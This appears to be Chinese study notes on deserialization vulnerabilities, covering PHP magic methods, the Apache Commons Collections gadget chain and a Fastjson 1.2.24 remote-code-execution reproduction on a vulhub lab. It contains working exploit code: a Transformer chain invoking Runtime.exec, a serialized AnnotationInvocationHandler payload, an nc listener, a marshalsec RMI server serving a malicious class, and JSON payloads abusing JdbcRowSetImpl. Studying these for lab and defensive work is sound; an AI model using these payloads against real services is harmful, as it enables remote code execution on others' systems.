反序列化漏洞渗透与利用
1 PHP反序列化漏洞
1.1 PHP类与对象
-
PHP定义类:
<?php class phpClass { var $var1; var $var2 = "constant string"; function myfunc ($arg1, $arg2) { [..] } [..] } ?>
- 类使用 class 关键字后加上类名定义。
- 类名后的一对大括号({})内可以定义变量和方法。
- 类的变量使用 var 来声明, 变量也可以初始化值。
- 变量 $this 代表自身的对象
- 函数定义类似 PHP 函数的定义,但函数只能通过该类及其实例化的对象访问。
-
PHP创建对象
<?php class Animal { /* 成员变量 */ var $name; var $age; /* 成员函数 */ function setName($par){ $this->name = $par; } function getName(){ echo $this->name . PHP_EOL; } ?>
$dog = new Animal;
-
PHP调用成员方法
// 调用成员函数,设置名字 $dog->setName( "神鬣" ); // 调用成员函数,获取名字 $dog->getName();
-
PHP构造函数
function __construct( $par1, $par2 ) { $this->name = $par1; $this->age = $par2; } //创建对象 $dog = new Animal('神鬣', '2');
1.2 PHP Magic函数
函数 | 作用 |
---|---|
__construct | 当一个对象被创建时被调用 |
__destruct | 当一个对象销毁时被调用 |
__toString | 当一个对象被当作一个字符串使用 |
__sleep | 在对象被序列化之前运行 |
__wakeup | 在对象被反序列化之后被调用 |
__serialize() | 对对象调用serialize()方法,PHP7.4.0起 |
__unserialize() | 对对象调用unserialize()方法,PHP7.4.0起 |
1.3 PHP序列化和反序列化
1.3.1 序列化
$number = 32;
$str = 'asdfg';
$bool = false;
$null = Null;
$arr = array('aa' => 1,'bbb' => 9);
$obj = new SerialType('scmestr', true);
var_dump(serialize($number));
//以下为输出
string(5) "i:32;"
string(13) "s:6:"asdfg";"
string(4) "b:0;"
string(2) "N;"
string(34) "a:2:{s:2:"aa";i:1;s:4:"bbb";i:9;}"
string(75) "O:10:SerialType:2:{s:4:"data";s:7:"scmestr";s:16:"SerialTypepass";b:1;}"
//转换为JSON字符串
$tojs = json_encode($obj);
//转换为XML
$toxml = wddx_serialize_value($obj);
-
部分序列化
//重载序列化调用的方法 public function __sleep() { //返回许哟啊序列化的变量名,过滤掉变量password return array('name','age'); }
1.3.2 反序列化
unserialize()函数对单一的已序列化的变量进行操作,将其转换回PHP的值。
-
如果传递的字符串不可以序列化,则返回false;
-
如果对象没有预定义,反序列化得到的对象是
_PHP_Incomplete_Class
-
会自动调用Magic函数__serialize()
-
反序列化过程中可以修改数据
1.3.3 反序列化漏洞出现
- unserialize()函数的参数可控,比如通过GET请求传参(漏洞触发点)
- 脚本中定义了有Magic方法,方法里有向php文件读写数据或者执行命令的操作,比如__destruct()、unlink()
- 读写的内容需要有对象中的成员变量的值,比如filename
2 Java反序列化漏洞
重写了readObject()的类:
package sun.reflect.annotation;
AnnotationInvocationHandler();
package javax.management;
BadAttributeValueExpException();
3 Apache Commons Collections反序列化漏洞
3.1 环境配置
在Java项目中引入依赖
<dependency>
<groupld>commons-collections</groupld>
<artifactld>commons-collections</artifactld>
<version>3.1</version>
</dependency>
3.2 反射
3.2.1 Java反射机制
//初始化一个Runtime类fanshe
Class fanshe = Class.forName("java.lang.Runtime");
//调用Runtime类中的个体Runtime方法得到Runtime类的对象fs
Object fs = fanshe.getMethod("getRuntime").invoke(fanshe);
//调用上文得到的对象fs的方法即可
fanshe.getMethod("exec",String.class).invoke(fs,"calc");
3.2.2 Commons Collectiongs关键类
-
InvokeTransformer
利用Java反射机制来创建类实例
-
ChainedTransformer
实现了Transformer链式调用,只需传入一个Transformer数组即可实现依次调用每一个Transformer的transform方法
-
ConstantTransformer
transform()返回构造函数的对象
-
TransformedMap
3.2.3 poc构造思路
- InvokerTransformer 反射执行代码
- ChainedTransformer 链式调用,自动触发
- ConstantTransformer 获得对象
- TransformedMap 元素变化执行transform,setValue——checkSetValue
- AnnotationInvocationHandler readObject调用Map的setValue
public void invokeTest(){
//创建实例传入构造方法参数
InvokerTransformer it = new InvokerTransformer(
"exec(方法名)",new Class[]{String.class},newString[]{"Calc.exe程序名"}
);
//通过反射机制依次获得Runtime类、getRuntime构造方法,最后生成Runtime实例
Object input = Runtime.getRuntime();
it.transform(input);
}
public void main(String[] args){
Transformer[] transformers = new Transformer[]{
//获得Runtime类对象
new ConstantTransformer(Runtime.class),
//传入Runtime类对象,反射执行getMethod获得getRuntime方法
new InvokerTransformer(
"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}
),
//传入getRuntime方法 反射执行invoke方法得到Runtime实例
new InvokerTransformer(
"invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}
),
//传入Runtiem实例执行exec方法
new InvokerTransformer(
"exec",new Class[]{String.class},new Object[]{"Calc.exe"}
)
};
ChainedTransformer cT = new ChainedTransformer(transformers);
cT.transform(null);
}
调用流程:
-
对利用类AnnotationInvocationHandler进行序列化,然后交给Java反序列化
-
在进行反序列化时,会执行readObject()方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改
-
value修改触发了TransformedMap实例化时传入的参数
InvokerTransformer的checkSetValue——transform()方法
-
放到Map里的是InvokeTransformer数组,transform()方法被依次调用
-
InvokerTransformer.transform()方法通过反射,调用Runtime.getRuntime.exec(“命令程序”)函数来执行系统命令
Map innermap = new Hashmap(); innermap.put("value","value"); Map outermap = TransformedMap.decorae(innermap,null,chainedTransformer); //构造包含恶意map的AnnotationInvocationHandler对象 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cst - cl.getDeclaredConstructor(Class.class,Map.class); cst.setAccessible(true); Object exploitObj = cst.newInstance(Traget.class,outermap); //序列化 FileOutputStream fos = new FileOutputStream("payload.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(exploitObj); oos.close(); //反序列化 FileInputStream fis = new FileInputStream("payload.bin"); ObjectInputStream ois = new ObjectInputStream(fis); Object result = ois.readObject(); ois.close();
4 Fastjson反序列化漏洞
4.1 反序列化的方法
//返回实际类型的对象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject对象
Object obj = JSON.parse(serializedStr);
//子类中包含接口或抽象类时,类型丢失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}
4.2 利用类
com.sun.rowset.JdbcRowSetImpl
使用时会引入一个dataSourceName支持传入一个rmi数据源,可以实现JNDI、LDAP端口注入攻击。
4.3 漏洞复现
4.3.1 部署vulhub靶场
-
git clone https://github.com/vulhub/vulhub.git #配置JRE1.8.0
-
cd vulhub/fastjson/1.2.24-rce docker-compose build docker-compose up -d
-
docker-compose ps docker ps
-
根据靶场的IP和端口来访问
-
#关闭 docker-compose down
4.3.2 Kali攻击
-
nc -lvp 9001
9001是反弹链接的端口 -
编译好一个LinuxTouch类
public class LinuxTouch{ public LinuxTouch(){ Runtime.getRuntime.exec("touch /tmp/fast-success.txt"); } public static void main(Sring[] args){ LinuxTouch e = new LinuxTouch(); } }
把
LinuxTouch.java
放到jdk
的bin
目录下进行编译,生成LinuxTouch.class
-
把
LinuxTouch.class
放到apache目录下启动HTTP服务,这样用户访问该页面后就会自动下载恶意代码python -m http.server 8089
#python3 -
下载漏洞利用工具 _,启动RMI服务并与恶意代码关联
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP/#LinuxTouch" 9473
-
payload
POST /HTTP/1.1 Host:xxxxxxxx ... Content-Type:application/json Content-Length:146 { "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://IP/LinuxTouch", "autoCommit":true } }
4.3.3 总结
- 序列化字符准备类名、dataSourceName属性和autoCommit属性
- JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
- setAutoCommit()调用connect()
- connect()调用lookup()链接到LDAP/RMI服务器
- 下载恶意代码到本地,执行攻击
4.4 fastjson_1.2.27
需要在payload中添加如下内容:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
}
利用Java中的缓存
4.5 漏洞挖掘
- 找到发送JSON序列化数据的接口
- 判断是否使用fastjson
- 传入不完整或错误的json数据,
{"xx":"
查看返回的数据是否暴露 - 使用dnslog探测
- 传入不完整或错误的json数据,
- 使用Burp插件
5 漏洞修复
- 升级JDK
- 升级Fastjson到最新版
- 使用安全产品过滤
- 更换其他序列化工具Jackson/Gson